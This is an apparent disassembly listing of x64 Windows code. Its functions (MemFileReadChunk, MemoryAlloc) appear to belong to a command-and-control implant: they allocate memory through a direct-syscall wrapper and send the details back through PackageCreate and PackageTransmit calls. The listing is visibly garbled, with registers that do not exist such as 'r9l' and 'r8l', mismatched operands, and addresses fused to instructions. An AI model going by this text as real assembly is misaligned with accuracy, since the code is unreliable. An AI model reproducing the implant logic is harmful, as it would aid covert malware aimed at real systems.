14001816dmov rcx, [rax+48]
140018171mov rax, [rsi+332]
140018178add rsp, 32
14001817cpop rbx
14001817dpop rsi
14001817epop rdi
14001817fjmp rax
140018100

140018181
140018181 // align 0x10

140018190
140018190MemFileIsNew:
140018190mov rax, [rip+0x141d9]
140018197mov rax, [rax+2318]
14001819e
14001819eloc_14001819e:
14001819etest rax, rax
1400181a1je 0x1400181ad
1400181a3cmp [rax], ecx
1400181a5je 0x1400181b3
1400181a7mov rax, [rax+40]
1400181abjmp 0x14001819e
1400181ad
1400181adloc_1400181ad:
1400181admov eax, 1
1400181b2ret
1400181b3
1400181b3loc_1400181b3:
1400181b3xor eax, eax
1400181b5ret
140018190

1400181b6
1400181b6 // align 0x10

1400181c0
1400181c0MemFileReadChunk:
1400181c0push rdi
1400181c1lea rdx, [rip+0x14608]
1400181c8push rsi
1400181c9push rbx
1400181casub rsp, 48
1400181cecall GetMemFile
1400181d3test rax, rax
1400181d6mov rbx, rax
1400181d9jne 0x1400181f2
1400181dbmov r9l, ecx
1400181demov r8l, 325
1400181e4lea rcx, [rip+64751]
1400181ebcall printf
1400181f0jmp 0x14001823e
1400181f2
1400181f2loc_1400181f2:
1400181f2mov rax, [rax+8]
1400181f6sub rax, [rbx+16]
1400181famov edi, r9l
1400181fdmov rsi, r8
140018200mov [rsp+32], rax
140018205lea rcx, [rip+64625]
14001820cmov r8l, 329
140018212call printf
140018217mov rax, [rbx+16]
14001821bmov r9l, edi
14001821eadd rax, [rbx+24]
140018222mov rdi, rax
140018225mov rcx, r9
140018228xor eax, eax
14001822arep movsb [rdi], [rsi]
14001822cadd r9, [rbx+16]
140018230cmp [rbx+8], r9
140018234sete al
140018237mov [rbx+16], r9
14001823bmov [rbx+32], eax
14001823e
14001823eloc_14001823e:
14001823eadd rsp, 48
140018242mov rax, rbx
140018245pop rbx
140018246pop rsi
140018247pop rdi
140018248ret
1400181c0

140018249
140018249 // align 0x10

140018250
140018250MemoryAlloc:
140018250push r12
140018252lea r12, [rip+0x145c7]
140018259push rbp
14001825apush rdi
14001825bmov rdi, rdx
14001825exor edx, edx
140018260push rsi
140018261mov esi, ecx
140018263push rbx
140018264mov ebx, r9l
140018267sub rsp, 80
14001826bmov rbp, [rip+0x140fe]
140018272mov [rsp+144], r8
14001827acmp [rbp+224], 0
140018281mov [rsp+72], rdx
140018286je 0x1400182b6
140018288test ecx, ecx
14001828aje 0x1400182cc
14001828cmov ecx, 89
140018291call PackageCreate
140018296mov edx, 10
14001829bmov rcx, rax
14001829ecall PackageAddInt32
1400182a3cmp esi, 1
1400182a6je 0x14001830f
1400182a8cmp esi, 2
1400182abjne 0x1400183d7
1400182b1jmp 0x14001837c
1400182b6
1400182b6loc_1400182b6:
1400182b6cmp ecx, 1
1400182b9je 0x14001830f
1400182bbcmp ecx, 2
1400182beje 0x14001837c
1400182c4test ecx, ecx
1400182c6jne 0x1400183d7
1400182cc
1400182ccloc_1400182cc:
1400182cclea r9, [rip+0x1022d]
1400182d3mov r8l, 29
1400182d9mov rdx, r12
1400182dclea rcx, [rip+0x1022c]
1400182e3call printf
1400182e8mov ecx, [rbp+248]
1400182eemov r9l, ebx
1400182f1mov rdx, rdi
1400182f4mov r8, [rsp+144]
1400182fctest ecx, ecx
1400182fejne 0x140018305
140018300mov ecx, 2
140018305
140018305loc_140018305:
140018305call MemoryAlloc
14001830ajmp 0x14001845c
14001830f
14001830floc_14001830f:
14001830fmov [rsp+48], ebx
140018313mov r9, rdi
140018316mov rdx, r12
140018319mov r8l, 38
14001831fmov rax, [rsp+144]
140018327mov [rsp+40], 12288
14001832flea rcx, [rip+0x101ed]
140018336mov [rsp+32], rax
14001833bcall printf
140018340xor edx, edx
140018342mov rcx, rdi
140018345mov [rsp+32], ebx
140018349mov r8, [rsp+144]
140018351mov r9l, 12288
140018357call [rbp+796]
14001835dmov r8l, 40
140018363mov rdx, r12
140018366lea rcx, [rip+0x101f4]
14001836dmov r9, rax
140018370mov [rsp+72], rax
140018375call printf
14001837ajmp 0x1400183d7
14001837c
14001837cloc_14001837c:
14001837cmov [rsp+40], ebx
140018380lea rdx, [rsp+72]
140018385xor r8l, r8l
140018388mov rcx, rdi
14001838bmov [rsp+32], 12288
140018393lea r9, [rsp+144]
14001839bcall SysNtAllocateVirtualMemory
1400183a0mov esi, eax
1400183a2test eax, eax
1400183a4jns 0x1400183d7
1400183a6mov r9l, eax
1400183a9mov r8l, 46
1400183afmov rdx, r12
1400183b2lea rcx, [rip+0x101bc]
1400183b9call printf
1400183bemov rdi, [rbp+2230]
1400183c5mov ecx, esi
1400183c7call [rbp+348]
1400183cdmov [rdi+104], eax
1400183d0xor eax, eax
1400183d2mov [rsp+72], rax
1400183d7
1400183d7loc_1400183d7:
1400183d7mov rax, [rsp+144]
1400183dfmov r9, [rsp+72]
1400183e4mov r8l, 59
1400183eamov rdx, r12
1400183edlea rcx, [rip+0x101bc]
1400183f4mov [rsp+32], rax
1400183f9call printf
1400183fecmp [rsp+72], 0
140018404je 0x140018457
140018406cmp [rbp+224], 0
14001840dje 0x140018457
14001840fmov ecx, 89
140018414call PackageCreate
140018419mov edx, 10
14001841emov rcx, rax
140018421mov rsi, rax
140018424call PackageAddInt32
140018429mov rdx, [rsp+72]
14001842emov rcx, rsi
140018431call PackageAddPtr
140018436mov edx, [rsp+144]
14001843dmov rcx, rsi
140018440call PackageAddInt32
140018445mov rcx, rsi
140018448mov edx, ebx
14001844acall PackageAddInt32
14001844fmov rcx, rsi
140018452call PackageTransmit
140018457
140018457loc_140018457:
140018457mov rax, [rsp+72]
14001845c
14001845cloc_14001845c:
14001845cadd rsp, 80
140018460pop rbx
140018461pop rsi
140018462pop rdi
140018463pop rbp
140018464pop r12
140018466ret
140018250